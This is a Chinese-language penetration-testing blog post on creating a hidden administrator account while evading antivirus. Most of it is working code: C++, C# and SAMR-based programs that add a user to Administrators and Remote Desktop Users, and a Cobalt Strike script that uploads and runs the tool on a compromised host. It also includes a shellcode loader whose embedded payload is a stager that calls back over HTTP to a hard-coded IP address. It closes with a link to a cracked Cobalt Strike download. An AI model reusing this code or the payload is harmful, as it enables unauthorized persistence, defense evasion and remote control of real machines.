免杀核晶adduser

起因:


在渗透测试过程中,有时会登录远程桌面等服务进行横向,但需要知道 Windows 账户口令 (不考虑 hash 传递场景),而直接通过net.exe进行添加用户,往往会被安全软件直接阻断拦截,这就需要调用 Windows API ,进行 Bypass AV。

C++

  1. 调用NetUserAdd添加本地用户

  2. 调用NetLocalGroupAddMembers将用户添加到组

#define _CRT_SECURE_NO_WARNINGS
#include
#include

#ifndef UNICODE
#define UNICODE
#endif

#pragma comment(lib, "netapi32")


int main(int argc, char** argv)
{
if (argc != 3)
{
printf("Usage: AddUserBypass.exe \n");
exit(1);
}

wchar_t Username[256];
wchar_t Password[256];
mbstowcs(Username, argv[1], 256);
mbstowcs(Password, argv[2], 256);

NET_API_STATUS nStatus;
USER_INFO_1 UserInfo;
DWORD dwLevel = 1;
DWORD dwError = 0;

UserInfo.usri1_name = Username;
UserInfo.usri1_password = Password;
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_home_dir = NULL;
UserInfo.usri1_comment = NULL;
UserInfo.usri1_flags = UF_SCRIPT;
UserInfo.usri1_script_path = NULL;

nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&UserInfo, &dwError);

if (nStatus == NERR_Success)
{
printf("[*] Add User Success!\n");
}
else
{
printf("[*] Add User Failed! Error Code: %d\n", nStatus);
}

LOCALGROUP_MEMBERS_INFO_3 LGMInfo;
LGMInfo.lgrmi3_domainandname = UserInfo.usri1_name;
nStatus = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&LGMInfo, 1);

if (nStatus == NERR_Success)
{
printf("[*] Add User to Administrators Success!\n");
}
else
{
printf("[*] Add User to Administrators Failed! Error Code: %d\n", nStatus);
}

nStatus = NetLocalGroupAddMembers(NULL, L"Remote Desktop Users", 3, (LPBYTE)&LGMInfo, 1);

if (nStatus == NERR_Success)
{
printf("[*] Add User to Remote Desktop Users Success!\n");
}
else
{
printf("[*] Add User to Remote Desktop Users Failed! Error Code: %d\n", nStatus);
}

return 0;
}

C#

调用DirectoryServices添加本地用户,同时可以删除用户、添加用户组。

https://learn.microsoft.com/zh-cn/troubleshoot/developer/visualstudio/csharp/language-compilers/add-user-local-system

using System;
using System.DirectoryServices;

namespace sharpAddUser
{
  class Class1
  {
      static void Main(string[] args)
      {
          if (args.Length != 2)
          {
              Console.WriteLine("Usage: UserAdd.exe ");
          }
          else
          {
              string username = args[0];
              string password = args[1];
             
              try
              {
                  DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
                  DirectoryEntry NewUser = AD.Children.Add(username, "user");
                  NewUser.Invoke("SetPassword", new object[] { password });
                  NewUser.CommitChanges();
                  DirectoryEntry grp;

                  grp = AD.Children.Find("Administrators", "group");
                  if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
                  Console.WriteLine("[*] Account Created Successfully");
                  Console.WriteLine($"[+] Username: {username}\n[+] Password: {password}");
              }
              catch (Exception ex)
              {
                  Console.WriteLine(ex.Message);
                  Console.ReadLine();
              }

          }
      }
  }
}

RPC调用

MS-SAMR协议中的SamrCreateUser2InDomain()来添加用户(其实调用MS-SAMR是NetUserAdd()等API的底层实现)

实现有两种方式,一种是直接调用MS-SAMR协议去直接创建一个用户,微软官方给了IDL,将其编译,然后构造,这种方式调用起来比较麻烦,另一种是使用神器mimikatz打包好的samlib.dll

#include #include #include "samlib.h"
#pragma comment(lib, "samlib.lib")#pragma comment(lib, "ntdll.lib")
void AddUser(wchar_t* uName, wchar_t* uPass){ DWORD* pRid; DWORD* pUse; DWORD USE = 0; ULONG grantAccess; ULONG relativeId; DWORD* adminRID; PSID userSID = NULL; NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus; DWORD i, domainEnumerationContext = 0, domainCountReturned; PSAMPR_RID_ENUMERATION pEnumDomainBuffer = NULL, pEnumGroupBuffer = NULL; PSID builtinDomainSid = 0, accountDomainSid = 0; SAMPR_HANDLE hServerHandle = NULL, hDomainHandle = NULL, hUserHandle = NULL; SAMPR_USER_ALL_INFORMATION userAllInfo = { 0 }; NTSTATUS enumGroupStatus; DWORD groupEnumerationContext = 0; DWORD groupCountReturned; UNICODE_STRING adminGroup; SAMPR_HANDLE hAdminGroup;
UNICODE_STRING userName; UNICODE_STRING password; UNICODE_STRING uBuiltin; UNICODE_STRING serverName;
// init server, username, password RtlInitUnicodeString(&uBuiltin, L"Builtin"); RtlInitUnicodeString(&userName, uName); RtlInitUnicodeString(&password, uPass); RtlInitUnicodeString(&serverName, L"localhost");

status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);
if (NT_SUCCESS(status)) { do { enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountReturned); for (i = 0; i < domainCountReturned; i++) { // Get Builtin Domain SID & Account Domain SID if (RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE)) SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &builtinDomainSid); else SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &accountDomainSid); }
} while (enumDomainStatus == STATUS_MORE_ENTRIES);
status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP | DOMAIN_CREATE_USER, accountDomainSid, &hDomainHandle); if (NT_SUCCESS(status)) { // Create user in Account Domain status = SamCreateUser2InDomain(hDomainHandle, &userName, USER_NORMAL_ACCOUNT, USER_ALL_ACCESS | DELETE | WRITE_DAC, &hUserHandle, &grantAccess, &relativeId); if (NT_SUCCESS(status)) { wprintf(L"[*] SamCreateUser2InDomain success. User RID: %d\n", relativeId); userAllInfo.NtPasswordPresent = TRUE; userAllInfo.WhichFields |= USER_ALL_NTPASSWORDPRESENT;
// Clear the UF_ACCOUNTDISABLE to enable account userAllInfo.UserAccountControl &= 0xFFFFFFFE; userAllInfo.UserAccountControl |= USER_NORMAL_ACCOUNT; userAllInfo.WhichFields |= USER_ALL_USERACCOUNTCONTROL; RtlInitUnicodeString(&userAllInfo.NtOwfPassword, password.Buffer);
// Set password and userAccountControl status = SamSetInformationUser(hUserHandle, UserAllInformation, &userAllInfo); if (NT_SUCCESS(status)) { wprintf(L"[*] SamSetInformationUser success.\n"); } else wprintf(L"[!] SamSetInformationUser error 0x%08X\n", status); } else wprintf(L"[!] SamCreateUser2InDomain error 0x%08X\n", status);
} else wprintf(L"[!] SamOpenDomain error. 0x%0X8\n", status);
status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP, builtinDomainSid, &hDomainHandle); if (NT_SUCCESS(status)) { RtlInitUnicodeString(&adminGroup, L"administrators"); // Lookup Administrators in Builtin Domain status = SamLookupNamesInDomain(hDomainHandle, 1, &adminGroup, &adminRID, &USE); if (NT_SUCCESS(status)) {
status = SamOpenAlias(hDomainHandle, ALIAS_ADD_MEMBER, *adminRID, &hAdminGroup); if (NT_SUCCESS(status)) { SamRidToSid(hUserHandle, relativeId, &userSID);
// Add user to Administrators status = SamAddMemberToAlias(hAdminGroup, userSID); if (NT_SUCCESS(status)) { wprintf(L"[*] SamAddMemberToAlias success.\n"); } else wprintf(L"[!] AddMemberToAlias error 0x%08X\n", status); } else wprintf(L"[!] SamOpenAlias error 0x%08X\n", status); } else wprintf(L"[!] SamLookupNamesInDomain error 0x%08X\n", status); } } else wprintf(L"[!] Samconnect error\n");
SamCloseHandle(hUserHandle); SamCloseHandle(hDomainHandle); SamCloseHandle(hServerHandle); SamFreeMemory(pEnumDomainBuffer); SamFreeMemory(pEnumGroupBuffer); }
int main(int argc, wchar_t* argv[]){ if (argc == 3) { AddUser(argv[1], argv[2]); } else wprintf(L"Usage: AddUserBypass_SAMR.exe ");
return 0;}

But这种例子用的太多了,还是会被拦截。。。

So,最终版本,给出反编译,相信聪明的你该知道怎么做了(狗头):

CS插件编写:

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm

https://wiki.wgpsec.org/knowledge/intranet/Aggressor-script.html

popup beacon_bottom{  item "NetUserAdd"{    $bid = $1['@'];    $Dialog = dialog("add admin user",%(username => "laoxinsec",password => "laoxinsec",bid => $bid),$add_user)    drow_text($Dialog,"username", "username: ");    drow_text($Dialog,"password", "password: ");    dbutton_action($Dialog, "run");    dialog_show($Dialog);  }  sub add_user{    $Name = $3['username'];    $passwd = $3['password'];    $cmd = "adduser.exe ".$Name." ".$passwd;    bupload($bid,script_resource("adduser.exe"));    bshell($bid,$cmd);  }}

简单的loader免杀上线测试插件:

#include 
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4b\x71\x6f\x32\x00\x47\x97\x09\xb7\xd3\x2c\xa5\x90\xe1\x2e\x09\xd8\xe9\x6d\x51\x3f\xb6\x19\xaa\x2d\x6e\x7e\x0a\x44\x11\xce\xb2\x02\x7d\x65\x6d\x80\x53\xc8\x24\x11\x84\x40\x18\x11\x32\x22\x0f\xe2\x6b\xca\x8e\x2a\x2c\x97\xd4\x58\xbd\xc3\xa6\xd3\x5d\xcc\xa2\x60\x60\x36\x41\x7d\x62\x3e\xd0\xc6\x92\x45\xcd\x83\x12\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x4d\x41\x54\x42\x4a\x53\x29\x0d\x0a\x00\x20\x40\x1f\x95\x2e\xf1\x79\xf5\xe5\xa7\x7f\xae\x7b\xf9\x59\x1f\x60\xbd\x0e\x99\xdd\x02\x8a\xb8\xf0\x1a\x3d\x5b\xa8\xee\x16\x18\x57\x50\x24\x95\xf9\x77\xae\xaf\xfe\x21\x2e\x85\x3f\x9a\xb6\xe0\xce\xd4\x72\xad\xe0\x13\x6f\xcd\x3c\x5f\x88\x6a\x8b\xb6\xcc\x4d\x2c\x33\x60\xf5\xef\x35\xa9\x87\x40\x76\x4a\x5d\x7f\x44\x1e\xb1\x98\xe7\x38\x04\x5b\x60\x0e\x1e\x1e\x25\x4d\xda\x22\x40\x15\xc7\x04\x2f\x4f\x48\x3d\x16\xcb\x82\xfb\xbb\xa2\xcb\x8d\x98\x6f\x7a\x82\x96\xe8\x22\x99\xc7\xe1\x82\xcd\xc9\x8c\x9e\xd4\xf5\x18\x92\x83\x0b\x6a\x16\xb9\x4b\xe0\x2f\xc7\x0f\x1b\x8c\x29\x97\x27\x19\xaf\x59\x3b\x61\xc9\xca\xc5\x07\x4d\x61\x6a\x01\x5e\x80\x1b\x2a\x30\x0a\xa0\x8c\xe5\xd4\x16\x7a\x56\xca\xe0\x17\x74\xf7\xa9\xc7\xde\xbc\x42\x6f\xd4\x4f\x8a\x25\xac\x4b\x1e\x7f\xea\xed\xe5\x2b\xe7\x36\xce\x1c\x32\x35\x3d\x92\xc1\xcf\x31\x7b\x57\xef\xdb\xe5\x9f\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x34\x37\x2e\x31\x30\x38\x2e\x31\x33\x37\x2e\x31\x39\x30\x00\x5e\x2e\x78\x90";

void main() {
LPVOID mem = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE); RtlMoveMemory(mem, buf, sizeof(buf)); EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);}

配套视频:

https://www.bilibili.com/video/BV1Qh4y1p7wb/?spm_id_from=333.999.0.0&vd_source=d0c5cfc4008c14d0c490e16cf55f5b65

CS4.8下载地址:

https://anonfiles.com/gcxdW3k7za/CobaltStrike48_pwn3rzs_cyberarsenal_7z

请使用浏览器的分享功能分享到微信等